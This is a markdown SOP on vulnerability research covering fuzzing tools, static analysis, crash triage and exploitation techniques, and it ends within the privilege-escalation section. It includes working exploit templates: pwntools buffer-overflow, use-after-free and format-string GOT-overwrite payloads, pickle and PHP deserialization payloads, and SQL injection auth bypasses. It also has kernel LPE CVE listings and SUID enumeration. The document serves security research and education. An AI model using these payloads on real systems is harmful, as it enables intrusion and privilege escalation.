Skip to content

sop-vulnerability-research.md

Latest commit

 

History

History
2471 lines (1836 loc) · 72.4 KB

sop-vulnerability-research.md

File metadata and controls

2471 lines (1836 loc) · 72.4 KB
type sop
title Vulnerability Research SOP
description Advanced vulnerability discovery: fuzzing, binary exploitation, memory corruption, CVE process & responsible disclosure. Tools: AFL++, Ghidra, GDB.
tags
sop
vulnerability-research
exploitation
fuzzing
reverse-engineering
template_version 2026-04-25
updated 2026-04-25

Vulnerability Research SOP

Authorized environments only. Vulnerability research, exploit development, and disclosure work has narrow legal carveouts. Confirm authorization (your own code, lab targets, CTF, bug-bounty scope, or written engagement letter) before running anything in this SOP. Cross-references: [[sop-legal-ethics|Legal & Ethics]] for jurisdictional framework, [[sop-opsec-plan|OPSEC]] for handling artifacts and infrastructure, [[sop-bug-bounty|Bug Bounty]] for program-specific rules.

Table of Contents

  1. Overview
  2. Pre-Engagement & Authorization
  3. Quick Reference
  4. Research Methodology
  5. Reconnaissance & Attack Surface Mapping
  6. Static Analysis
  7. Dynamic Analysis & Fuzzing
  8. Binary Exploitation
  9. Memory Corruption Vulnerabilities
  10. Logic Vulnerabilities
  11. Race Conditions
  12. Privilege Escalation
  13. Exploit Development
  14. Exploit Mitigations & Bypasses
  15. CVE Process & Disclosure
  16. Bug Bounty Programs
  17. 0-Day Research Ethics
  18. Tools Reference
  19. Common Pitfalls & Risks
  20. Legal & Ethical Considerations
  21. Related SOPs

Overview

Purpose: Comprehensive guide for discovering, analyzing, and responsibly disclosing security vulnerabilities in software and systems.

Scope:

  • Vulnerability identification methodologies
  • Binary exploitation techniques
  • Fuzzing and dynamic analysis
  • Memory corruption and logic vulnerabilities
  • Exploit development
  • Responsible disclosure processes
  • CVE assignment and publication

Prerequisites:

  • Understanding of programming (C/C++, Python, Assembly)
  • Knowledge of operating system internals
  • Familiarity with debugging tools
  • Understanding of exploitation mitigations

Related SOPs: see Related SOPs at the foot of this document.

Pre-Engagement & Authorization

Vulnerability research that touches third-party software, infrastructure, or live services requires explicit authorization. Lab work on your own targets is the only universally safe default.

Authorization Checklist

  • Target is your own code, a CTF/lab VM you control, or covered by a bug-bounty / VDP scope or signed engagement letter.
  • Scope of allowed activity (fuzzing, exploitation, post-exploitation, lateral movement) is in writing.
  • Halt criteria, rules of engagement, and emergency contacts are documented.
  • Production systems, real user data, and out-of-scope assets are explicitly excluded.
  • Disclosure pathway (vendor PSIRT, CNA, platform triage queue) is identified before testing begins.
  • Jurisdictional constraints reviewed — see [[sop-legal-ethics|Legal & Ethics]] for CFAA / Computer Misuse Act / Cybercrime Directive framing.

Lab Environment Requirements

  • Air-gapped or NAT'd VM/container; no shared credentials with personal/work hosts.
  • Snapshots before each fuzzing campaign; revert after instrumentation changes.
  • Outbound network restricted to a controlled test endpoint when exploit PoCs include network primitives.
  • Exploit artifacts (PoC binaries, shellcode, mutated corpora) labelled and stored per [[sop-opsec-plan|OPSEC]] guidance; destroy or hand off per disclosure agreement.

Disclosure-Ready Posture

Before crashes turn into a write-up, line up: vendor security contact (security.txt, PSIRT page, HackerOne / Bugcrowd handle), encrypted-channel option (PGP key, Signal, platform-managed inbox), CNA path (vendor CNA, MITRE root, GitHub Security Advisories), and a private artifact repo. Re-disclosing under pressure tends to leak details — pre-stage the comms.

Quick Reference

Vulnerability Categories

Category Impact Common Vectors
Memory Corruption Critical Buffer overflow, use-after-free, heap overflow
Injection Critical SQL injection, command injection, XXE
Authentication Bypass Critical Logic flaws, weak crypto, session issues
Privilege Escalation Critical Kernel bugs, SUID binaries, misconfigurations
Information Disclosure Medium-High Memory leaks, verbose errors, directory traversal
Denial of Service Medium Resource exhaustion, null pointer dereference
Logic Flaws Variable Race conditions, business logic bypass

Critical Commands

# Fuzzing with AFL++
afl-fuzz -i input_corpus/ -o findings/ -- ./target_binary @@

# Debugging with GDB
gdb -q ./target_binary
> run $(python3 -c 'print("A"*100)')

# Find SUID binaries (privilege escalation)
find / -perm -4000 -type f 2>/dev/null

# Binary security analysis
checksec --file=./binary

# Kernel exploit compilation
gcc -o exploit exploit.c -static -lpthread

# Generate shellcode (payload neutralised — defensive/educational scope)
# msfvenom -p <platform/arch/payload> LHOST=<operator IP> LPORT=<port> -f <fmt>
# Working invocations and payload catalogue: rapid7.com/db/modules/payload/ and
# `msfvenom --list payloads`. Match payload to the target ABI you've verified.

Common Exploit Patterns

# Buffer overflow exploit template
payload = b"A" * offset              # Padding to EIP/RIP
payload += p64(gadget_address)       # ROP gadget
payload += p64(shellcode_address)    # Shellcode location

# Format string exploit
payload = b"%x " * 20                # Leak stack values
payload = b"%7$s" + p64(address)     # Read arbitrary memory

# Use-after-free exploit
# 1. Allocate object
# 2. Free object
# 3. Allocate controlled data in same location
# 4. Trigger use of freed object

Research Methodology

Vulnerability Discovery Process

1. Target Selection:

# Choose research target based on:
# - Attack surface (network services, parsers, browsers)
# - Complexity (more code = more bugs)
# - Impact (kernel, authentication, crypto)
# - Accessibility (open-source vs. closed-source)

# Examples of high-value targets:
# - Web browsers (Chrome, Firefox, Safari)
# - Operating system kernels (Linux, Windows, macOS)
# - Network services (SSH, HTTP servers, DNS)
# - File parsers (PDF, image formats, office documents)
# - Hypervisors (VMware, VirtualBox, Hyper-V)

2. Information Gathering:

# Collect information about target
# - Version numbers
# - Build configuration
# - Dependencies
# - Previous vulnerabilities (CVE database)
# - Patch history

# Check existing CVEs / known exploits
searchsploit openssh 7.4                  # Exploit-DB local mirror
nvdlib / curl https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=openssh+7.4
# (NVD API 2.0 is the supported endpoint; legacy 1.0 was retired in 2023)

# GitHub Security Advisories (web): https://github.com/advisories?query=openssh
# CISA Known Exploited Vulnerabilities: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
# National Vulnerability Database:     https://nvd.nist.gov/

3. Attack Surface Analysis:

# Identify entry points:
# - Network ports and protocols
# - File parsers
# - User input handling
# - IPC mechanisms
# - API endpoints

# Example: Web server attack surface
nmap -sV -sC -p- target.com
# - HTTP/HTTPS (80, 443)
# - Admin panels
# - File upload functionality
# - API endpoints
# - WebSocket connections

4. Code Review (if source available):

# Search for dangerous functions
grep -r "strcpy\|strcat\|sprintf\|gets" source_code/
grep -r "memcpy\|strncpy\|strncat" source_code/
grep -r "malloc\|free\|realloc" source_code/

# Look for common patterns
# - Unbounded loops
# - Integer overflows
# - Missing input validation
# - Race conditions (TOCTOU)
# - Improper error handling

5. Binary Analysis (if closed-source):

# Reverse engineer binary (see Reverse-Engineering.md)
# - Disassembly with IDA Pro, Ghidra, Binary Ninja
# - Identify vulnerabilities in assembly
# - Reconstruct high-level logic

6. Fuzzing (automated testing):

# Generate test cases to trigger crashes
# - AFL++, LibFuzzer, Honggfuzz
# - Coverage-guided fuzzing
# - Mutation-based fuzzing
# - Generation-based fuzzing (grammar)

7. Vulnerability Confirmation:

# Reproduce crash reliably
# Analyze crash (debugger, core dump)
# Determine exploitability
# Develop proof-of-concept exploit

8. Responsible Disclosure:

# Report to vendor
# Wait for patch development
# Coordinate public disclosure
# Request CVE assignment

Reconnaissance & Attack Surface Mapping

Network Service Enumeration

# Full port scan
nmap -p- --min-rate 10000 -T4 target.com -oN nmap_all_ports.txt

# Service version detection
nmap -sV -sC -p 21,22,80,443,3306,8080 target.com -oN nmap_services.txt

# Vulnerability scanning
nmap --script vuln -p 80,443 target.com

# Banner grabbing
nc -v target.com 80
HEAD / HTTP/1.0

# SSL/TLS version enumeration
nmap --script ssl-enum-ciphers -p 443 target.com

Application Fingerprinting

# Web server fingerprinting
whatweb -v target.com
wafw00f target.com  # WAF detection

# CMS detection
wpscan --url http://target.com  # WordPress
droopescan scan drupal -u http://target.com  # Drupal

# Technology stack
curl -I http://target.com
# Look for: Server, X-Powered-By, X-AspNet-Version headers

# JavaScript frameworks
retire --js --jspath http://target.com

# Check robots.txt and sitemap
curl http://target.com/robots.txt
curl http://target.com/sitemap.xml

Binary Surface Analysis

# List imported functions (potential attack surface)
objdump -T ./binary | grep -E "strcpy|memcpy|system|exec"

# Radare2 analysis
r2 -A ./binary
> afl  # List functions
> ii   # List imports
> iz   # List strings

# Identify file parsers
strings ./binary | grep -i "png\|jpg\|pdf\|xml"

# Network-related functions
strings ./binary | grep -i "socket\|connect\|recv\|send"

Static Analysis

Source Code Analysis

Manual code review - dangerous patterns:

// ❌ Buffer overflow - unbounded copy
char buffer[64];
strcpy(buffer, user_input);  // No length check!

// ✅ Safe version
strncpy(buffer, user_input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';

// ❌ Format string vulnerability
printf(user_input);  // User controls format string!

// ✅ Safe version
printf("%s", user_input);

// ❌ Integer overflow
int size = user_size;
char *buf = malloc(size);  // What if user_size is negative or huge?
memcpy(buf, data, size);

// ✅ Safe version
if (user_size <= 0 || user_size > MAX_SIZE) {
    return -1;
}
size_t size = (size_t)user_size;
char *buf = malloc(size);

// ❌ Use-after-free
free(ptr);
ptr->field = value;  // Use after free!

// ✅ Safe version
free(ptr);
ptr = NULL;

Common vulnerability patterns:

// Integer overflow leading to buffer overflow
void vulnerable(int count) {
    char *buffer = malloc(count * sizeof(int));  // count * 4 can overflow!
    if (!buffer) return;

    for (int i = 0; i < count; i++) {
        ((int*)buffer)[i] = get_data();  // Heap overflow if count * 4 wrapped
    }
}

// Time-of-check to time-of-use (TOCTOU)
if (access("/tmp/file", W_OK) == 0) {  // Check
    // Attacker can replace /tmp/file with symlink here!
    FILE *f = fopen("/tmp/file", "w");  // Use
}

// Race condition
if (global_counter < MAX) {  // Thread 1 checks
    // Thread 2 can increment here
    global_counter++;  // Thread 1 increments (can exceed MAX)
}

// SQL injection (interpreted language)
query = "SELECT * FROM users WHERE username='" + user_input + "'"
# user_input = "admin' OR '1'='1" → authentication bypass

Automated Static Analysis

Cppcheck (C/C++):

# Install
sudo apt install cppcheck

# Basic scan
cppcheck --enable=all --inconclusive source_code/

# Specific checks
cppcheck --enable=warning,performance,portability source_code/

# XML output for further analysis
cppcheck --xml --xml-version=2 source_code/ 2> report.xml

Semgrep (multi-language):

# Install
pip install semgrep

# Scan with default rules
semgrep --config=auto source_code/

# Security-focused scan
semgrep --config=p/security-audit source_code/

# OWASP Top 10 rules
semgrep --config=p/owasp-top-ten source_code/

# Custom rule example (detect dangerous strcpy)
cat > strcpy_rule.yaml << 'EOF'
rules:
  - id: dangerous-strcpy
    pattern: strcpy($DST, $SRC)
    message: Unsafe strcpy detected - use strncpy instead
    languages: [c, cpp]
    severity: WARNING
EOF

semgrep --config=strcpy_rule.yaml source_code/

Clang Static Analyzer:

# Analyze during build
scan-build make

# Specific file
clang --analyze vulnerable.c

FlawFinder (C/C++):

# Install
sudo apt install flawfinder

# Scan source code
flawfinder source_code/

# Minimum risk level
flawfinder --minlevel=4 source_code/

# HTML report
flawfinder --html source_code/ > report.html

Dynamic Analysis & Fuzzing

Fuzzing Fundamentals

Types of fuzzing:

  1. Mutation-based - Mutate existing valid inputs
  2. Generation-based - Generate inputs from grammar/specification
  3. Coverage-guided - Use code coverage feedback to guide input generation
  4. Symbolic / concolic execution - Explore program paths systematically (KLEE, SymCC, Sydr, Manticore)
  5. In-process / persistent - Re-enter target many times per process (libFuzzer-style harnesses, AFL++ persistent mode, Honggfuzz -P)
  6. Snapshot fuzzing - Restore VM/process state between iterations (Nyx, what-the-fuzz, snapchange) for kernel and large stateful targets

Modern toolchain status (2026-04):

  • AFL++ — actively maintained (4.x series), recommended default for native binaries; ships LTO mode, CmpLog, persistent harnesses, QEMU/Unicorn instrumentation. [verify 2026-04-25] for exact pinned version.
  • libFuzzer — bundled with LLVM/Clang (-fsanitize=fuzzer); upstream has been in maintenance mode since the libFuzzer team folded into OSS-Fuzz tooling. New harnesses still work; don't expect new features. Prefer running libFuzzer harnesses through OSS-Fuzz (https://google.github.io/oss-fuzz/) when the target qualifies. [verify 2026-04-25]
  • Honggfuzz — still functional; release cadence has slowed. Strong for persistent-mode network/parser fuzzing.
  • LibAFL (https://github.com/AFLplusplus/LibAFL) — Rust framework for building bespoke fuzzers; the modern replacement for "I need a custom mutator/scheduler" workflows.
  • OSS-Fuzz — Google's continuous fuzzing service for open-source projects. Free for qualifying projects; integrates AFL++, libFuzzer, Honggfuzz, Centipede behind a common harness API.
  • syzkaller (https://github.com/google/syzkaller) — coverage-guided Linux/Windows/FreeBSD/Fuchsia kernel syscall fuzzer. Pair with KCOV (kernel coverage) and kASAN/KMSAN/KCSAN (kernel sanitizers).
  • Language-native:
    • Rust → cargo-fuzz (libFuzzer backend) or cargo afl (AFL++).
    • Go ≥ 1.18 → built-in go test -fuzz=. No external tool needed.
    • Python → Atheris (Google, libFuzzer-backed).
    • Java/Kotlin → Jazzer (Code Intelligence, libFuzzer-backed).
    • JavaScript/V8 → Fuzzilli for engine fuzzing.

Coverage instrumentation flags (clang):

# SanitizerCoverage primitives (sancov) — feed coverage to your fuzzer
clang -fsanitize=fuzzer-no-link -fsanitize-coverage=trace-pc-guard,trace-cmp ...

# AFL++ LTO mode (best edge coverage on supported toolchains)
afl-clang-lto -o target target.c

# Combine fuzzer + sanitizers
clang -g -O1 -fsanitize=fuzzer,address,undefined harness.c target.c -o harness

AFL++ (American Fuzzy Lop)

Installation:

# Linux
sudo apt install afl++

# Or build from source
git clone https://github.com/AFLplusplus/AFLplusplus.git
cd AFLplusplus
make
sudo make install

Compile target for fuzzing:

# Instrument binary with AFL++ compiler
afl-gcc -o target_fuzz target.c

# Or with additional sanitizers
AFL_USE_ASAN=1 afl-gcc -o target_fuzz target.c  # AddressSanitizer
AFL_USE_UBSAN=1 afl-gcc -o target_fuzz target.c  # UndefinedBehaviorSanitizer
AFL_USE_MSAN=1 afl-clang -o target_fuzz target.c  # MemorySanitizer

Prepare input corpus:

# Create directory with seed inputs
mkdir input_corpus
echo "valid input 1" > input_corpus/input1.txt
echo "another valid input" > input_corpus/input2.txt

# For binary formats, use valid files
cp valid_image.png input_corpus/
cp valid_pdf.pdf input_corpus/

Run fuzzer:

# Basic fuzzing
afl-fuzz -i input_corpus/ -o findings/ -- ./target_fuzz @@

# Explanation:
# -i input_corpus/  : Input directory with seed files
# -o findings/      : Output directory for crashes/hangs
# @@                : Replaced with fuzzer-generated filename

# Multiple fuzzers in parallel (recommended)
# Master fuzzer
afl-fuzz -i input_corpus/ -o findings/ -M fuzzer01 -- ./target_fuzz @@

# Slave fuzzers (in separate terminals)
afl-fuzz -i input_corpus/ -o findings/ -S fuzzer02 -- ./target_fuzz @@
afl-fuzz -i input_corpus/ -o findings/ -S fuzzer03 -- ./target_fuzz @@

# For stdin input (no @@)
afl-fuzz -i input_corpus/ -o findings/ -- ./target_fuzz

# With custom dictionary
afl-fuzz -i input_corpus/ -o findings/ -x dictionary.txt -- ./target_fuzz @@

Dictionary example (for format-aware fuzzing):

# dictionary.txt - PDF format
keyword_obj="obj"
keyword_endobj="endobj"
keyword_stream="stream"
keyword_endstream="endstream"
keyword_PDF="%PDF-"
magic_header="%PDF-1.4"

Analyze results:

# Check fuzzer status
# Key metrics:
# - execs/s: Executions per second (higher = better)
# - unique crashes: Number of unique crash signatures
# - unique hangs: Number of unique timeouts

# Reproduce crash
./target_fuzz findings/crashes/id:000000,sig:11,src:000000,op:havoc,rep:16

# Triage crashes
afl-collect -r -d findings/crashes/ crash_analysis/

# Minimize crash input
afl-tmin -i findings/crashes/id:000000 -o minimal_crash -- ./target_fuzz @@

# Symbolically link unique crashes
afl-whatsup findings/

LibFuzzer (LLVM)

Compile with LibFuzzer:

# Create fuzzing harness
cat > fuzz_target.c << 'EOF'
#include <stdint.h>
#include <stddef.h>

// Fuzzing entry point
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
    // Call target function with fuzzer-provided data
    if (size > 0) {
        process_input(data, size);
    }
    return 0;
}
EOF

# Compile with clang
clang -g -fsanitize=fuzzer,address -o fuzz_target fuzz_target.c target.c

Run fuzzer:

# Basic fuzzing
./fuzz_target corpus/

# With options
./fuzz_target corpus/ -max_len=4096 -timeout=1 -rss_limit_mb=2048

# Merge corpora
./fuzz_target -merge=1 merged_corpus/ corpus1/ corpus2/

# Minimize corpus
./fuzz_target -merge=1 minimized_corpus/ full_corpus/

Honggfuzz

# Install
sudo apt install honggfuzz

# Run fuzzer
honggfuzz -i input_corpus/ -o output_dir/ -- ./target_binary ___FILE___

# With persistent mode (faster)
honggfuzz -i input_corpus/ -P -- ./target_binary

Kernel Fuzzing (syzkaller + KCOV + kASAN)

Kernel bugs are reached through syscalls and ioctls, not file inputs. The standard stack is syzkaller (syscall description language syzlang, generates programs, manages VMs, triages crashes) plus a coverage-instrumented kernel.

# 1. Build a coverage + sanitizer kernel
# In Linux kernel .config:
#   CONFIG_KCOV=y                # coverage feedback for syzkaller
#   CONFIG_KASAN=y               # address sanitizer (heap/oob/UAF)
#   CONFIG_KASAN_INLINE=y
#   CONFIG_DEBUG_INFO=y
#   CONFIG_DEBUG_INFO_DWARF4=y
#   CONFIG_KCSAN=y               # data-race detector (optional)
#   CONFIG_KMSAN=y               # uninit-memory (clang only, optional)
#   CONFIG_BUG_ON_DATA_CORRUPTION=y
make -j"$(nproc)"

# 2. Build syzkaller
git clone https://github.com/google/syzkaller
cd syzkaller && make

# 3. Run against a QEMU image
./bin/syz-manager -config my.cfg
# my.cfg points at the bzImage, root FS image, and a workdir for crashes/cover.

Crash artifacts arrive as a reproducer C program (repro.c) plus the coverage trace. Triage with syz-execprog and syz-prog2c, then minimise.

For Windows kernel see kAFL/Nyx (snapshot, hardware-assisted) and what-the-fuzz; for hypervisors/firmware see Nyx + Intel PT.

Structure-Aware Harnessing

Coverage-guided fuzzers stall on heavily-checked formats (signed binaries, CRC'd containers, ASN.1, protobuf). Options:

  • Custom mutators — AFL++ AFL_CUSTOM_MUTATOR_LIBRARY, libFuzzer LLVMFuzzerCustomMutator.
  • Grammar-based — Nautilus, Grammarinator, Domato (browser DOM), AFL++ grammar mutator.
  • Protocol Buffers — libprotobuf-mutator (Google), produces structurally-valid messages.
  • Dictionaries first — cheap win before reaching for grammar tooling (-x dictionary.txt).

Network Protocol Fuzzing

Boofuzz framework:

from boofuzz import *

# Define session
session = Session(target=Target(connection=SocketConnection("192.168.1.100", 8080)))

# Define protocol
s_initialize("HTTP Request")
s_string("GET", fuzzable=False)
s_delim(" ", fuzzable=False)
s_string("/index.html")  # Fuzzable field
s_delim(" ", fuzzable=False)
s_string("HTTP/1.1", fuzzable=False)
s_delim("\r\n", fuzzable=False)
s_string("Host:")
s_delim(" ", fuzzable=False)
s_string("localhost")
s_static("\r\n\r\n")

# Start fuzzing
session.connect(s_get("HTTP Request"))
session.fuzz()

Radamsa (mutation-based fuzzer):

# Install
sudo apt install radamsa

# Generate mutated inputs
cat valid_input.bin | radamsa -n 1000 -o output_%n.bin

# Fuzz in loop
while true; do
    radamsa input.txt > fuzzed.txt
    ./target_binary fuzzed.txt
done

Binary Exploitation

Crash Analysis

Analyzing crashes with GDB:

# Run program in GDB
gdb ./vulnerable_binary

# Set breakpoints
(gdb) break main
(gdb) break vulnerable_function

# Run with input
(gdb) run $(python3 -c 'print("A"*200)')

# After crash, examine registers
(gdb) info registers
# Look for:
# RIP/EIP = 0x4141414141414141  (overwritten instruction pointer)

# Examine stack
(gdb) x/100x $rsp
(gdb) x/100x $rbp

# Backtrace
(gdb) bt

# Examine memory at address
(gdb) x/s 0x7fffffffe000

# Find offset to EIP/RIP
(gdb) pattern create 200
(gdb) run [pattern]
# After crash:
(gdb) pattern offset $rip

GEF (GDB Enhanced Features):

# Install GEF
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

# Launch GDB with GEF
gdb -q ./binary

# GEF commands
gef> checksec          # Check binary protections
gef> vmmap             # Memory mappings
gef> search-pattern "AAAA"
gef> ropper            # ROP gadget search
gef> heap chunks      # Heap analysis

Core dump analysis:

# Enable core dumps
ulimit -c unlimited

# Run program (will create core dump on crash)
./vulnerable_binary $(python3 -c 'print("A"*200)')

# Analyze core dump
gdb ./vulnerable_binary core

# Examine crash state
(gdb) bt
(gdb) info registers
(gdb) x/100x $rsp

Determining Exploitability

EXPLOITABLE GDB plugin:

# Install
git clone https://github.com/jfoote/exploitable.git
echo "source ~/exploitable/exploitable/exploitable.py" >> ~/.gdbinit

# Use in GDB
gdb ./binary
(gdb) run $(python3 -c 'print("A"*200)')
(gdb) exploitable

# Output:
# Description: Access violation during branch instruction
# Exploitability: EXPLOITABLE

Manual exploitability assessment:

1. Control of EIP/RIP?
   - Can you redirect execution?
   - YES → Highly exploitable

2. Control of data written?
   - Can you control what is written where?
   - YES (write-what-where) → Exploitable

3. Information leak?
   - Can you leak addresses (bypass ASLR)?
   - Can you leak stack canary?

4. Heap corruption?
   - Use-after-free?
   - Double-free?
   - Heap overflow?

5. Available gadgets?
   - ROP gadgets for exploitation?
   - System calls available?

Memory Corruption Vulnerabilities

Buffer Overflow

Stack buffer overflow:

// Vulnerable code
void vulnerable_function(char *user_input) {
    char buffer[64];
    strcpy(buffer, user_input);  // No bounds checking
    printf("Input: %s\n", buffer);
}

int main(int argc, char **argv) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}

Exploitation:

from pwn import *

# Find offset to return address
offset = 72  # Determined via pattern_create/pattern_offset

# Craft exploit
payload = b"A" * offset          # Fill buffer + saved RBP
payload += p64(0x401234)         # Overwrite return address

# Send payload
p = process("./vulnerable_binary")
p.sendline(payload)
p.interactive()

Finding offset with pwntools:

from pwn import *

# Generate cyclic pattern
pattern = cyclic(200)

# Run program
p = process("./vulnerable_binary")
p.sendline(pattern)
p.wait()

# Get core dump
core = p.corefile

# Find offset
offset = cyclic_find(core.read(core.rsp, 8))
print(f"Offset: {offset}")

Heap Exploitation

Use-After-Free (UAF):

// Vulnerable code
struct User {
    char name[32];
    void (*print_user)(struct User *);
};

void print_user_info(struct User *u) {
    printf("User: %s\n", u->name);
}

struct User *user = malloc(sizeof(struct User));
user->print_user = print_user_info;
strcpy(user->name, "Alice");

free(user);  // Free user object

// Later... (user pointer still used)
user->print_user(user);  // Use-after-free! Function pointer may be attacker-controlled

Exploitation strategy:

# 1. Trigger allocation of object
create_user("Alice")

# 2. Free object
delete_user(0)

# 3. Allocate attacker-controlled data in same location
# (spray heap with controlled data)
for i in range(100):
    create_note(p64(system_address) + b"/bin/sh\x00")

# 4. Trigger use of freed object
view_user(0)  # Calls function pointer → system("/bin/sh")

Heap overflow:

// Vulnerable code
struct Chunk {
    size_t size;
    char data[128];
    struct Chunk *next;
};

void process_data(struct Chunk *chunk, char *user_input, size_t len) {
    memcpy(chunk->data, user_input, len);  // No bounds check on len!
}

Exploitation (overwrite next pointer):

# Overflow to overwrite 'next' pointer
payload = b"A" * 128           # Fill data field
payload += p64(0x123)          # Overwrite size
payload += p64(target_address)  # Overwrite next pointer

# When next chunk is processed, writes to target_address

Double-free:

// Vulnerable code
free(ptr);
free(ptr);  // Double-free!

Exploitation:

# Double-free allows heap metadata corruption
# Can lead to:
# - Arbitrary write primitive
# - Overlapping chunks
# - Code execution

Format String Vulnerability

Vulnerable code:

void vulnerable(char *user_input) {
    printf(user_input);  // User controls format string!
}

Information leak:

# Leak stack values
payload = b"%x " * 20  # Dump 20 stack values

# Leak specific address
payload = b"%7$s" + p64(address)  # Read string at 'address'

# Leak program base (bypass PIE)
payload = b"%13$p"  # Leak return address from stack

Arbitrary write:

# Write to arbitrary address using %n
# %n writes number of bytes printed so far to address

target_address = 0x601234
value_to_write = 0x1234

payload = p64(target_address)           # Address to write to
payload += b"%{}x".format(value_to_write - 8).encode()  # Print correct number of bytes
payload += b"%7$n"                      # Write to 7th stack argument (our address)

Exploitation example:

from pwn import *

# Overwrite GOT entry to redirect execution
got_address = 0x601018  # printf@GOT
system_address = 0x7ffff7a52390

payload = p64(got_address)
payload += b"%{}x".format((system_address & 0xFFFF) - 8).encode()
payload += b"%7$hn"  # Write lower 2 bytes

p = process("./vulnerable_binary")
p.sendline(payload)
p.interactive()

Integer Overflow

Vulnerable code:

void process_image(int width, int height, char *image_data) {
    int size = width * height;  // Integer overflow!

    if (size < 0) {
        return;  // Insufficient check
    }

    char *buffer = malloc(size);
    memcpy(buffer, image_data, size);  // Heap overflow
}

// Exploit: width=0x10000, height=0x10000
// size = 0x100000000 (wraps to 0 in 32-bit)

Detection patterns:

// Unsafe arithmetic
int total = user_value1 + user_value2;  // Can overflow
int size = count * sizeof(struct);      // Can overflow

// Safe version
if (user_value1 > INT_MAX - user_value2) {
    // Overflow would occur
    return -1;
}

// Or use compiler builtins
int result;
if (__builtin_add_overflow(a, b, &result)) {
    // Overflow occurred
}

Logic Vulnerabilities

Authentication Bypass

Common patterns:

# SQL injection in authentication
username = "admin' --"
password = "anything"
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
# Result: SELECT * FROM users WHERE username='admin' -- ' AND password='anything'
# Password check is commented out!

# Boolean logic error
def check_password(username, password):
    user = db.query(f"SELECT * FROM users WHERE username='{username}'")
    if user and password:  # ❌ Should check password == user.password
        return True
    return False

# Timing attack on comparison
def verify_token(provided_token):
    expected_token = get_secret_token()
    for i in range(len(expected_token)):
        if provided_token[i] != expected_token[i]:
            return False  # Returns early → timing leak
    return True

Business Logic Flaws

Price manipulation:

# Vulnerable checkout process
def checkout(cart_items):
    total = 0
    for item in cart_items:
        total += item['price'] * item['quantity']  # Client-provided price!
    charge_customer(total)

# Exploit: Set price to negative value
cart = [
    {'item_id': 123, 'price': -100.00, 'quantity': 1},
    {'item_id': 456, 'price': 50.00, 'quantity': 1}
]
# Total: -100 + 50 = -50 (customer gets paid!)

Race condition in balance check:

# Vulnerable transfer function
def transfer(from_account, to_account, amount):
    if get_balance(from_account) >= amount:  # Check
        # Race window here!
        deduct_balance(from_account, amount)  # Use
        add_balance(to_account, amount)
    else:
        raise InsufficientFunds

# Exploit: Send multiple concurrent transfer requests
# Both pass balance check before first deduction

Insecure Deserialization

Python pickle vulnerability:

import pickle
import os

# Malicious payload
class Exploit:
    def __reduce__(self):
        return (os.system, ('whoami',))

# Serialize
payload = pickle.dumps(Exploit())

# Vulnerable code
pickle.loads(payload)  # Executes os.system('whoami')!

PHP unserialize vulnerability:

<?php
class User {
    public $isAdmin = false;

    public function __wakeup() {
        if ($this->isAdmin) {
            include('/flag.txt');
        }
    }
}

// Vulnerable code
$user = unserialize($_GET['data']);

// Exploit: ?data=O:4:"User":1:{s:7:"isAdmin";b:1;}
?>

Race Conditions

TOCTOU (Time-of-Check to Time-of-Use)

Vulnerable code:

// Check if file exists and is writable
if (access("/tmp/myfile", W_OK) == 0) {  // Time-of-Check
    // Attacker can replace /tmp/myfile with symlink to /etc/passwd here!
    FILE *f = fopen("/tmp/myfile", "w");  // Time-of-Use
    fprintf(f, "data");
    fclose(f);
}

Exploitation pattern (neutralised — defensive/educational scope):

The race-window attack uses two concurrent loops:

  1. Trigger loop — repeatedly invoke the vulnerable program so it re-runs the access() → fopen() window.
  2. Race loop — repeatedly recreate the path as a symlink to a sensitive target (/etc/passwd, an SUID binary, etc.) between the check and the use.

Pattern only — concrete exploit shells/symlink-target chains intentionally omitted. See HackTricks → "Race Conditions" and the original Wojtczuk-style TOCTOU papers for working harnesses (pwn-toctou, racepwn).

Mitigations (the actual point of this section):

  • Open with O_CREAT | O_EXCL (atomic: succeeds only if file doesn't exist).
  • Use openat() + O_NOFOLLOW to refuse symlinks.
  • Operate on file descriptors, not paths, between check and use.

File system race conditions:

// Vulnerable: Check then create
if (stat("/tmp/logfile", &st) == -1) {  // Check if doesn't exist
    // Race window
    FILE *f = fopen("/tmp/logfile", "w");  // Create
}

// Secure: Open with O_CREAT | O_EXCL
int fd = open("/tmp/logfile", O_CREAT | O_EXCL | O_WRONLY, 0600);
if (fd == -1) {
    // File already exists
}

Multi-threaded Race Conditions

Vulnerable code:

int balance = 1000;

void withdraw(int amount) {
    if (balance >= amount) {  // Thread 1 checks
        // Thread 2 can also check here
        usleep(100);  // Simulate processing
        balance -= amount;  // Both threads withdraw
    }
}

// Two threads call withdraw(800) concurrently
// Both pass check, balance becomes -600!

Exploitation:

import threading

def exploit():
    # Send multiple withdrawal requests concurrently
    threads = []
    for i in range(10):
        t = threading.Thread(target=lambda: withdraw(800))
        threads.append(t)
        t.start()

    for t in threads:
        t.join()

    # Balance is now negative (double-spending)

Detection with ThreadSanitizer:

# Compile with TSan
clang -fsanitize=thread -g -o program program.c

# Run
./program

# Output will show race conditions:
# WARNING: ThreadSanitizer: data race

Privilege Escalation

Linux Privilege Escalation

SUID binary exploitation:

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Common exploitable SUID binaries:
# - Custom binaries with vulnerabilities
# - Misconfigured system utilities

# Example: SUID binary with buffer overflow
/usr/local/bin/custom_tool $(python3 -c 'print("A"*200 + shellcode)')

Kernel exploits:

# Check kernel version
uname -a

# Search for kernel exploits
searchsploit linux kernel 4.4.0

# Notable Linux LPE bugs (study, never weaponise without authorization):
# - Dirty COW       — CVE-2016-5195 (PTE write race in COW handling)
# - DirtyPipe       — CVE-2022-0847 (pipe_buffer.flags missing init; arbitrary write into page cache)
# - DirtyCred       — CVE-2022-2588 (cls_route UAF, credential type confusion; Lin Ma, Black Hat 2022)
# - PwnKit          — CVE-2021-4034 (polkit pkexec argv[0]=NULL env-var injection)
# - Sequoia         — CVE-2021-33909 (size_t→int truncation in seq_file → LPE)
# - Looney Tunables — CVE-2023-4911 (glibc dynamic loader GLIBC_TUNABLES buffer overflow)
# - StackRot        — CVE-2023-3269 (UAF in maple tree)

# Example: DirtyPipe PoC build (Max Kellermann's reference exploit)
gcc -O2 -o dirtypipe dirtypipe.c
